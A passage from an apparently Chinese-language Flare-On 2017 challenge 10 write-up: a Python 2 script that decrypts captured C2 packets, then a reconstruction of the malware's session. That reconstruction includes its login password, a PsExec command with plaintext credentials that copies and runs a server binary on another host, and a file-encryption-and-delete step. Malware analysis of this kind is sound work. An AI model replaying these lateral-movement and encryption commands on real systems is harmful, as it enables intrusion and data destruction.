collect += data[:data.index('2017')]
data = data[data.index('2017'):]
else:
collect += data
compile_data = collect
if len(compile_data) == (header_len+body_len):
decrypt_data = decrypt(compile_data)
compile_data = ''
decompress_data = decompress(decrypt_data, mode)
plugin_cmd(decompress_data, mode)
except KeyError:
pass
return 0
def decode_stage3_client():
print "================================================================================"
print "============================= decode stage3 client ============================="
print "================================================================================"
clientpacket = read_stage3_packet('client2.bin')
mode = "CLIENT"
while clientpacket != '':
clientpacket = clientpacket[clientpacket.index('2017'):]
if clientpacket[:4] == '2017':
header_len = u32(clientpacket[8:0xc])
body_len = u32(clientpacket[0xc:0x10])
print "---------------------------------------------------------------------"
print colored("[" + mode + "]", 'yellow')
decrypt_data = decrypt(clientpacket)
decompress_data = decompress(decrypt_data, mode)
plugin_cmd(decompress_data, mode)
clientpacket = clientpacket[header_len + body_len:]
def decode_stage3_server():
print "================================================================================"
print "============================= decode stage3 server ============================="
print "================================================================================"
serverpacket = read_stage3_packet('server2.bin')
mode = "SERVER"
while serverpacket != '':
serverpacket = serverpacket[serverpacket.index('2017'):]
if serverpacket[:4] == '2017':
header_len = u32(serverpacket[8:0xc])
body_len = u32(serverpacket[0xc:0x10])
print "---------------------------------------------------------------------"
print colored("[" + mode + "]", 'cyan')
decrypt_data = decrypt(serverpacket)
decompress_data = decompress(decrypt_data, mode)
plugin_cmd(decompress_data, mode)
serverpacket = serverpacket[header_len + body_len: ]
#######################################################################################################
decode_stage2_packet()
decode_stage3_client()
decode_stage3_server()
附錄二: 完整封包解密: 還原 C2 Server 與 Client 的溝通過程
Client 封包解密
- malware 用密碼
welcomepass1!1
登入 - client 下載
CRPT
模組 RC4 - client 下載
CRPT
模組 simple substitution cipher - client 下載
CRPT
模組 CustomBase64 - client 下載
CRPT
模組 XTEA - client 下載
COMP
模組 ZLib - client 下載
CMD
模組 File - 還原 client 資訊
Computer Info | context |
---|---|
version | 2.1.0 |
computer name | LARRYJOHNSON-PC |
user name | larry.johnson |
group name | feye2017 cli |
- 用
File
模組來 List Drive - 用
File
模組來 List Directory
- client 下載
CMD
模組 Shell - 用
Shell
模組開啟 Shell
- 在
c:\work\FlareOn2017\Challenge_10 directory
中有個TODO.txt
內容是 “Check with Larry about this.” - 建立 directory
c:\staging
- client 下載
CMD
模組 Screen - 還原 BMP 圖檔 (8 bits)
- 取得 zip 密碼
infectedinfectedinfectedinfectedinfected919
- Ping larryjohnson-pc 得知 IP address 是
192.168.221.105
- 下載
PsExec
到c:\staging\pse.exe
- 下載 Server 版本 的惡意程式
srv2.exe
到c:\staging\srv2.exe
- 下指令
pse.exe \\larryjohnson-pc -i -c -f -d -u larry.johnson -p n3v3rgunnag1veUup -accepteula srv2.exe
- client 下載
CMD
模組 Socket - srv2.exe 在
larryjohnson-pc
上開啟 port 16452 listening- host: 192.168.221.105
- port: 16452
-
收集透過
CMD
模組 Socket 傳送與接收的封包 - 結束 socket
Server 封包解密
- malware 用密碼
welcomepass1!1
登入 - client 下載
CRPT
模組 Blowfish - client 下載
CRPT
模組 SimpleXOR - client 下載
CRPT
模組 DES3 - client 下載
CRPT
模組 Camellia - client 下載
COMP
模組 ApLib - client 下載
COMP
模組 Lzo - 還原 server 資訊
Computer Info | context |
---|---|
version | 2.1.0 |
computer name | LARRYJOHNSON-PC |
user name | larry.johnson |
group name | feye2017 srv |
- 還原 BMP 圖檔 (32 bits)
- List Drive
- List Directory
- 建立資料夾
c:\staging
- 傳送
cf.exe
到c:\staging\cf.exe
- 用
cf.exe
來加密 lab10.zip 變成lab10.zip.cry
,指令是c:\staging\cf.exe lab10.zip tCqlc2+fFiLcuq1ee1eAPOMjxcdijh8z0jrakMA/jxg=
- 刪除
lab10.zip
並關閉 shell